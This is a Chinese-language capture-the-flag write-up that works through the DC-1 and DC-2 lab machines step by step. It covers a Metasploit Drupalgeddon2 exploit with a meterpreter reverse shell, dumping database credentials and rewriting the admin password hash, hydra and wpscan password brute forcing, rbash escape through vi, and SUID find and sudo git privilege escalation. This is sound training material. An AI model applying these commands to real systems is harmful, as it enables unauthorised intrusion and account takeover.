DC1-2靶机复现
DC1-2靶机复现
DC-1
flag1——msfconsole使用
先用nmap扫描以下(这里是将DC-1靶机和kali都开启并使用NAT连接的情况下并且知道了DC-1靶机的ip域名),同时我们也知道了靶机所开放的端口
尝试访问
看起来很像一个管理系统的登录面板啊,用火狐插件搜罗一下页面信息
搜集到如下信息:
1 | Drupal 7 一种cms |
接下来使用Metasploit找一下是否有漏洞,首先打开工具:
1 | msfconsole |
我们使用命令查找以下是否有Drupal这种cms的漏洞
1 | search Drupal |
发现了好几个CVE漏洞
以18年的漏洞为例
1 | use exploit/unix/webapp/drupal_drupalgeddon2 |
1 | [*] No payload configured, defaulting to php/meterpreter/reverse_tcp 弹出来一个没有有效载荷 |
1 | show options 查看以下漏洞产生所需参数配置 |
可以发现在必需要求设置为yes的参数里,只有RHOSTS没有值,所以我们将其设置为靶机IP
1 | set RHOSTS 192.168.10.135 |
可以看到参数已经设置成功
接下来使用run开始攻击:
1 | run |
出现这样就表示已经连接成功,可以直接上shell了
1 | shell |
输入之后尝试执行命令
哎?发现了一个可疑文件:flag1.txt ,使用cat查询flag1.txt
flag1.txt告诉我们每一个好的cms都需要一个好的配置文件——你也一样,那我们来康康配置文件
flag2
查查Drupal的配置文件名叫做settings.php,查询看看
1 | find -name settings.php |
可见,我们查到了flag2的内容,同时出来的还有一个数据库的用户名和密码
1 | mysql -udbuser -pR0ck3t |
flag3
这里出现了登陆失败,所以我们先试试将普通shell改为交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
再次执行数据库命令
可以看到我们成功登陆进了数据库,先看看有啥表
1 | show datebases; |
可以看到一个是系统库,还有一个是自己的,进去查看一下
1 | use drupaldb; show tables; |
可以看见是有很多表的,我们浏览并发现了一个可能藏有有用信息的表
1 | select * from users; |
发现了两个用户:
1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
看到这个admin还是很兴奋的,因为他应该是管理员账号,但是这个密码应该是加密过的
法1 修改密码
既然要修改密码,我们查到Drupal的加密脚本是在/var/www/scripts/password-hash.sh目录下,先退出数据库:
1 | exit; |
1 | cat /var/www/scripts/password-hash.sh |
在加密脚本里面我们可以看到能用php加参数运行
1 | php /var/www/scripts/password-hash.sh 123456 |
可以看到脚本给我们显示出了加密之后的密码,现在我们来修改管理员的密码,首先还是进入到数据库和Drupal的表,再修改密码:
1 | use drupaldb; update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred'; |
法2 添加admin用户
drupal7版本有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具
发现果然是有的:
然后看一下脚本:
1 | searchsploit 34992.py -p |
可以通过url下载脚本,这里就不再多说
尝试登录,在content里面发现了flag3
同时flag3告诉了我们一些信息passwd和shadow,明显就是linux的文件
flag4
下面有对于etc/passwd和etc/shadow,讲的非常详细的两篇文章:
Linux /etc/passwd内容解释(超详细) (biancheng.net)
Linux /etc/shadow(影子文件)内容解析(超详细) (biancheng.net)
从两篇文章中我们得知,现在用户的密码存放在/etc/shadow中,但是这个文件只能用root身份登录,但我们的交互式shell显示出来的只是普通用户,所以这里应该就涉及到了提权
我们先看看用户:
1 | cat /etc/passwd |
发现了flag4这个用户,但是我们并没有他的密码,所以尝试一下暴力破解
相关知识的两篇文章:
(6条消息) SSH简介及两种远程登录的方法_ssh @_Jack LDZ的博客-CSDN博客
黑客工具之hydra详细使用教程 - 知乎 (zhihu.com)
1 | hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.10.135 |
我们之前使用nmap扫端口时也发现22端口开放了ssh,这里也爆破出flag4用户的密码是orange,然后我们用kali进行连接
1 | ssh flag4@192.168.10.135 |
发现好像也没啥
flag5——suid提权
但是上面说到,访问/etc/shadow需要root权限,这也就意味着需要提权
关于suid提权:
利用find命令来查找具有SUID权限的文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
find比较常用,可以执行root权限的命令找查文件,
1 | find / -name index.php -exec "/bin/sh" \; |
找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上 -exec “/bin/sh” ;
关于/bin/sh的介绍:#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)
1 | cd /root |
终于拿到最后一个flag了,与君共勉。
以上内容参考大神文章:
DC-2
flag1
首先用nmap扫描一下,因为是NAT模式,所以可以直接搜一定范围内的:
1 | nmap 192.168.10.0/24 |
我们知道该靶机的mac地址,所以可以很轻松的在扫描出的里面找到IP地址,DC-2靶机地址为192.168.10.136,只有80端口开启了http服务
但是这个命令只是执行了常见端口的扫描,现在使用全面扫描的命令对目标靶机再次进行扫描
1 | nmap -A -p- 192.168.10.136 |
可以看到除了80端口之外,还有7744开放了ssh服务
尝试访问,发现访问失败,我们要将靶机的IP地址放在host文件夹下
1 | C:\Windows\System32\drivers\etc |
将靶机的IP添加到其中
这个文件是干什么的呢,根据Windows系统规定,在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系,如果有则调用这个 IP地址映射,如果没有再向已知的DNS服务器提出域名解析。 也就是说Hosts的请求级别比DNS高。 C:Windows/System32/drivers/etc/hosts 是域名解析文件。
我们一开始是没法改写host文件的,所以要改写权限
写入之后就可以成功访问了。
flag2——cewl配合wpscan的使用
同时得知该网站页面是由wordpress搭建的。也是一种CMS,所以就用metasploit的search找了一下,发现wordpress都是对于特定版本发生的,并且对DC-2靶机探测,但是靶机并没有对应的漏洞,所以就打消了使用框架漏洞的想法。
页面上就有一个flag,我们直接进行查看,并翻译一下
1 | 你的常规字典可能无法爆破成功,因此,也许你需要去cewl一个字典。 |
提示了cewl,所以就上网看了看,这是kali自带的密码字典生成工具
既然要用cewl生成字典,那么就要找到登录框,使用dirb挖掘一下目录:
1 | dirb http://dc-2 |
尝试对于+号开头的进行访问,很快就找到了登陆界面:
同时由于wordpress这种热门的搭建博客的CMS,在这里也就知道了一个新工具,wpscan(一种专门针对于wordpress的扫描工具),这里就简单说一下其参数:
接下来用wpscan枚举一下用户名:
1 | wpscan --url http://dc-2/ -e u //枚举用户名字 |
扫描出的三个用户:
1 | admin |
知道用户名,并结合flag1的提示,我们使用cewl进行密码字典的生成
1 | cewl http://dc-2 -w passwd.txt |
在对应目录下就生成了密码字典
接下来将用户名输出到一个文件里,方便我们使用wpscan进行爆破
1 | echo "admin" > user.txt |
再使用wpscan进行爆破:
1 | wpscan --url http://dc-2/ -U user.txt -P passwd.txt |
可以看到爆破出了两个用户名和其对应的密码:
1 | jerry/adipiscing |
尝试登录,注:这里可能在登录成功之后跳转到了一个空白页面,需要我们手动在url里面输入:http://dc-2/wp-admin/
在页面里面到处找找就发现了flag2。
flag2的内容告诉我们:
1 | wordpress已经没有什么了,让我们尝试其他的方法 |
flag3
框架相关已经没了,另一条路是什么呢,这时我们想起靶机的7744端口还开放了ssh服务,还是尝试之前爆破出来的用户名和密码尝试登录
1 | ssh jerry@192.168.10.136 -p 7744 |
输了几次对应密码都不对,就尝试使用tom进行登录:
1 | ssh tom@192.168.10.136 -p 7744 |
可以看到登录成功,接下来使用ls发现了flag3.txt,再使用cat命令查看文件内容,但是发现命令被禁用了
1 | compgen -c //查看可以使用的指令 |
发现很多命令都可以,但是我们比较熟知的就是vi,使用vi进行查看:
1 | vi flag3.txt |
拿到flag3的内容
1 | Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes. |
提示我们需要su来切换用户
flag4——vi提权
除了vi提权,还有一种就是使用自己定义的bash对rbash进行逃逸
这里有一篇rbash讲的很好的文章:
(6条消息) 【渗透测试】— rbash逃逸方法简述_rbash 命令_通地塔的博客-CSDN博客
直接进行切换:
1 | su jerry |
还是收到了rbash限制,所以就需要进行vi提权(使用vi进入任意文件)
1 | vi 123 |
然后在末行模式下使用:
1 | :set shell=/bin/bash |
1 | cd .. //退回上级目录 |
发现了jerry目录,进入其中,并ls一下
还是使用vi查看一下:
1 | Good to see that you’ve made it this far - but you’re not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you’re on your own now. :-)Go on - git outta here!!! |
1 | Good to see that you've made it this far - but you're not home yet. |
flag5——git提权
所以就要切换到root用户
直接切是切不了的
在这里使用上面文章的方法:
1 | export -p //查看环境变量 |
发现做完这些还是进不去
这时候我们想到了suid,用命令看看有哪些是具有suid的可执行文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
我们可以发现sudo是具有suid的权限的,所以就用sudo -l命令来看看有哪些是具有sudo权限的
发现有git可以直接切换到root权限
1 | cd |
可以看到,成功拿到了root权限,但是我们的目录退到了jerry目录下,再次cd
1 | cd |